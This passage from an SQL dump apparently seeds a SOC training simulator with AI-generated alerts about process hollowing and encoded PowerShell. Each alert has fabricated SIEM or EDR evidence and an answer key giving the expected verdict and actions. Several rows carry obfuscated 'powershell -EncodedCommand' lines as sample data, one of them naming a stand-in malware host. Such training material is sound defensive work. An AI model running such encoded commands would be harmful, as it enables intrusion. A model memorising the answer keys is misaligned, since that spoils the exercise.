Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1736, 'Process Hollowing in Explorer.exe Detected', 'critical', 'SentinelOne', 'Process hollowing detected in explorer.exe, indicating potential malware activity.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:20:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.25\",\"dst_ip\":\"\",\"username\":\"asmith\",\"hostname\":\"workstation-25\",\"command_line\":\"explorer.exe\",\"file_hash\":\"54a3d6e135b3f4b2b8e5d3458e2a2a1d\"}', '2026-03-15 19:50:15', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"explorer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Process hollowing is a known technique for stealthy malware\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"54a3d6e135b3f4b2b8e5d3458e2a2a1d\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware variants\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised workstation\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Process hollowing is a covert technique used by malware to inject malicious code into a legitimate process.\"}', 'Intermediate', 'EDR', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.103Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"workstation-25\\\",\\\"command_line\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"54a3d6e135b3f4b2b8e5d3458e2a2a1d\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.103Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"workstation-25\\\",\\\"command_line\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"54a3d6e135b3f4b2b8e5d3458e2a2a1d\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.103Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"workstation-25\\\",\\\"command_line\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"54a3d6e135b3f4b2b8e5d3458e2a2a1d\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.103Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"workstation-25\\\",\\\"command_line\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"54a3d6e135b3f4b2b8e5d3458e2a2a1d\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.103Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"workstation-25\\\",\\\"command_line\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"54a3d6e135b3f4b2b8e5d3458e2a2a1d\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1737, 'Suspicious PowerShell Activity Observed', 'medium', 'Carbon Black', 'PowerShell executed a script with encoded commands, which may indicate malicious intent.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:55:50Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.45\",\"dst_ip\":\"\",\"username\":\"mbrown\",\"hostname\":\"workstation-45\",\"command_line\":\"powershell.exe -EncodedCommand RgBoAGEAcwAgAC0ARgBvAHIAbQBhAHQAIAAtAFQAZQB4AHQAIAAnAGUAbgBjAG8AZABlAGQAIABjAG8AbgB0AGUAbgB0ACcA\"}', '2026-03-15 19:50:15', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand RgBoAGEAcwAgAC0ARgBvAHIAbQBhAHQAIAAtAFQAZQB4AHQAIAAnAGUAbgBjAG8AZABlAGQAIABjAG8AbgB0AGUAbgB0ACcA\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Encoded PowerShell commands often indicate obfuscation attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, further investigation needed\"}}],\"expected_actions\":[\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of encoded PowerShell commands is indicative of potential evasive techniques.\"}', 'Intermediate', 'EDR', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.107Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:55:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.45\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mbrown\\\",\\\"hostname\\\":\\\"workstation-45\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand RgBoAGEAcwAgAC0ARgBvAHIAbQBhAHQAIAAtAFQAZQB4AHQAIAAnAGUAbgBjAG8AZABlAGQAIABjAG8AbgB0AGUAbgB0ACcA\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.107Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:55:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.45\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mbrown\\\",\\\"hostname\\\":\\\"workstation-45\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand RgBoAGEAcwAgAC0ARgBvAHIAbQBhAHQAIAAtAFQAZQB4AHQAIAAnAGUAbgBjAG8AZABlAGQAIABjAG8AbgB0AGUAbgB0ACcA\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.107Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:55:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.45\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mbrown\\\",\\\"hostname\\\":\\\"workstation-45\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand RgBoAGEAcwAgAC0ARgBvAHIAbQBhAHQAIAAtAFQAZQB4AHQAIAAnAGUAbgBjAG8AZABlAGQAIABjAG8AbgB0AGUAbgB0ACcA\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.107Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:55:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.45\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mbrown\\\",\\\"hostname\\\":\\\"workstation-45\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand RgBoAGEAcwAgAC0ARgBvAHIAbQBhAHQAIAAtAFQAZQB4AHQAIAAnAGUAbgBjAG8AZABlAGQAIABjAG8AbgB0AGUAbgB0ACcA\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.107Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:55:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.45\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mbrown\\\",\\\"hostname\\\":\\\"workstation-45\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand RgBoAGEAcwAgAC0ARgBvAHIAbQBhAHQAIAAtAFQAZQB4AHQAIAAnAGUAbgBjAG8AZABlAGQAIABjAG8AbgB0AGUAbgB0ACcA\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1738, 'Potential Process Hollowing Detected in Legitimate Process', 'high', 'Sysmon', 'Process hollowing detected in a legitimate process, indicating possible covert malware activity.', 'Malware', 'T1055', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.10\",\"dst_ip\":\"\",\"username\":\"tjohnson\",\"hostname\":\"workstation-10\",\"command_line\":\"svchost.exe\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"}', '2026-03-15 19:50:15', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"svchost.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Process hollowing detected, svchost.exe used for malicious purposes\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware exploiting process hollowing\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.2.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address suggests an internal compromise\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Process hollowing is used to inject malicious code into legitimate processes, often to avoid detection.\"}', 'Intermediate', 'EDR', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.118Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"tjohnson\\\",\\\"hostname\\\":\\\"workstation-10\\\",\\\"command_line\\\":\\\"svchost.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.118Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"tjohnson\\\",\\\"hostname\\\":\\\"workstation-10\\\",\\\"command_line\\\":\\\"svchost.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.118Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"tjohnson\\\",\\\"hostname\\\":\\\"workstation-10\\\",\\\"command_line\\\":\\\"svchost.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.118Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"tjohnson\\\",\\\"hostname\\\":\\\"workstation-10\\\",\\\"command_line\\\":\\\"svchost.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.118Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"tjohnson\\\",\\\"hostname\\\":\\\"workstation-10\\\",\\\"command_line\\\":\\\"svchost.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1739, 'False Positive PowerShell Execution', 'low', 'Carbon Black', 'A PowerShell script executed with encoded commands was flagged, but investigation revealed it was a legitimate administrative task.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T13:15:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.3.20\",\"dst_ip\":\"\",\"username\":\"admin\",\"hostname\":\"admin-workstation\",\"command_line\":\"powershell.exe -EncodedCommand QABkAG0AaQBuAC0AdAByAGEAcwBrACAAdQBwAGQAYQB0AGUAIABzAHkAcwB0AGUAbQAgAHMAdAByAGUAYQBtAHM=\"}', '2026-03-15 19:50:15', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand QABkAG0AaQBuAC0AdAByAGEAcwBrACAAdQBwAGQAYQB0AGUAIABzAHkAcwB0AGUAbQAgAHMAdAByAGUAYQBtAHM=\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Confirmed as a legitimate administrative task\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.3.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP, confirmed as administrative workstation\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell command was part of a routine system maintenance script executed by the IT department.\"}', 'Intermediate', 'EDR', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.120Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"admin-workstation\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand QABkAG0AaQBuAC0AdAByAGEAcwBrACAAdQBwAGQAYQB0AGUAIABzAHkAcwB0AGUAbQAgAHMAdAByAGUAYQBtAHM=\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.120Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"admin-workstation\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand QABkAG0AaQBuAC0AdAByAGEAcwBrACAAdQBwAGQAYQB0AGUAIABzAHkAcwB0AGUAbQAgAHMAdAByAGUAYQBtAHM=\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.120Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"admin-workstation\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand QABkAG0AaQBuAC0AdAByAGEAcwBrACAAdQBwAGQAYQB0AGUAIABzAHkAcwB0AGUAbQAgAHMAdAByAGUAYQBtAHM=\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.120Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"admin-workstation\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand QABkAG0AaQBuAC0AdAByAGEAcwBrACAAdQBwAGQAYQB0AGUAIABzAHkAcwB0AGUAbQAgAHMAdAByAGUAYQBtAHM=\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.120Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"admin-workstation\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand QABkAG0AaQBuAC0AdAByAGEAcwBrACAAdQBwAGQAYQB0AGUAIABzAHkAcwB0AGUAbQAgAHMAdAByAGUAYQBtAHM=\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1740, 'Unusual PowerShell Script Execution', 'medium', 'CrowdStrike', 'A PowerShell script executed with encoded commands, but matches known IT maintenance patterns.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:40:05Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.4.30\",\"dst_ip\":\"\",\"username\":\"it_support\",\"hostname\":\"it-workstation\",\"command_line\":\"powershell.exe -EncodedCommand UwBFAFgAIAAtAE4AbwBwAG8AbwAgACIAaQBuAHYAbwBrAGUAIABzAHkAcwB0AGUAbQAgAHUAcABkAGEAdABlACIA\"}', '2026-03-15 19:50:15', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand UwBFAFgAIAAtAE4AbwBwAG8AbwAgACIAaQBuAHYAbwBrAGUAIABzAHkAcwB0AGUAbQAgAHUAcABkAGEAdABlACIA\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Matches known IT maintenance scripts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.4.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP belongs to IT support workstation\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command was part of a scheduled IT maintenance task.\"}', 'Intermediate', 'EDR', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1741, 'Potential Malware Command Execution via PowerShell', 'high', 'SentinelOne', 'PowerShell executed a suspicious encoded command that may be indicative of malware activity.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T15:10:20Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.55\",\"dst_ip\":\"\",\"username\":\"dlee\",\"hostname\":\"workstation-55\",\"command_line\":\"powershell.exe -EncodedCommand VwBFAFcAIAAtAE4AbwBwAG8AbwAgACIAaAB0AHQAcAA6AC8ALwBtAGEAbAB3AGEAcgBlAC4AYwBvAG0AIgA=\"}', '2026-03-15 19:50:15', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand VwBFAFcAIAAtAE4AbwBwAG8AbwAgACIAaAB0AHQAcAA6AC8ALwBtAGEAbAB3AGEAcgBlAC4AYwBvAG0AIgA=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded command linked to known malware distribution\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, potential victim of malware attack\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The execution of a suspicious encoded PowerShell script suggests malware involvement.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.126Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:10:20Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"dlee\\\",\\\"hostname\\\":\\\"workstation-55\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand VwBFAFcAIAAtAE4AbwBwAG8AbwAgACIAaAB0AHQAcAA6AC8ALwBtAGEAbAB3AGEAcgBlAC4AYwBvAG0AIgA=\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.126Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:10:20Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"dlee\\\",\\\"hostname\\\":\\\"workstation-55\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand VwBFAFcAIAAtAE4AbwBwAG8AbwAgACIAaAB0AHQAcAA6AC8ALwBtAGEAbAB3AGEAcgBlAC4AYwBvAG0AIgA=\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.126Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:10:20Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"dlee\\\",\\\"hostname\\\":\\\"workstation-55\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand VwBFAFcAIAAtAE4AbwBwAG8AbwAgACIAaAB0AHQAcAA6AC8ALwBtAGEAbAB3AGEAcgBlAC4AYwBvAG0AIgA=\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.126Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 